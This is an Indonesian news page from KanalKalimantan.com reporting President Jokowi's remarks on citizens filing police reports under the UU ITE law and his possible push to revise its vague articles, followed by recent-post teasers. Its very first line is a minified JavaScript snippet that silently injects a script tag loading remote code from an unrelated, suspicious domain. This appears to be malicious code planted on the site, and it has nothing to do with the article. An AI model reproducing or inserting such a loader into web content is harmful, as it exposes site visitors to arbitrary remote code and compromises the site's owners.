(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Jokowi Akui Banyak Warga Saling Buat Laporan ke Polisi Pakai UU ITE


KANALKALIMANTAN.COM, JAKARTA – Presiden Joko Widodo (Jokowi) mengaku akhir-akhir ini melihat banyak masyarakat yang saling membuat laporan ke polisi dengan menggunakan Undang Undang Informasi dan Transaksi Elektronik (UU ITE). Hal ini dikatakan Jokowi dalam akun instagram pribadinya @jokowi, Selasa (16/2/2021) pagi.

“Belakangan ini sejumlah warga masyarakat saling membuat laporan ke polisi dengan menjadikan undang-undang informasi dan transaksi elektronik sebagai salah satu rujukan hukumnya,” ujar Jokowi yang dalam akun instagramnya yang dikutip Suara.com.

Ia pun memerintahkan Kapolri Jenderal Listyo Sigit Prabowo dan jajarannya  untuk lebih selektif dalam menyikapi dan menerima pelaporan seperti itu. Jokowi meminta pasal-pasal yang bisa menimbulkan multitafsir harus diterjemahkan secara hati-hati.

“Buat pedoman interpretasi resmi terhadap Pasal -Pasal UU ITE agar proses hukum terkait laporan itu dapat memenuhi rasa keadilan,” ucap dia.

Tak hanya itu, mantan Gubernur DKI Jakarta itu menyebut Indonesia adalah negara hukum yang harus menjalankan hukum seadil-adilnya dan menjamin rasa keadilan kepada masyakarat .

“Negara kita adalah negara hukum yang harus menjalankan hukum yang seadil-adilnya, melindungi kepentingan yang lebih luas sekaligus menjamin rasa keadilan masyarakat,” ucap dia.

Jokowi menuturkan UU ITE mempunyai semangat awal untuk menjaga agar ruang digital Indonesia bersih sehat beretika dan produktif.

Namun implementasi UU ITE kata Jokowi tidak boleh sampai menimbulkan rasa
ketidakadilan. Bahkan Jokowi akan meminta DPR untuk merevisi UU ITE jika tidak bisa memberikan rasa keadilan.

“Kalau tidak bisa memberikan rasa keadilan, saya akan meminta DPR untuk bersama-sama merevisi undang-undang ITE ini. Pasal pasal karet yang penafsirannya bisa berbeda-beda, yang mudah diinterpretasikan secara sepihak agar dihapuskan,” katanya.(suara)

Editor: Suara


Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

6 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

7 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

9 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

12 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

15 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

15 jam ago

This website uses cookies.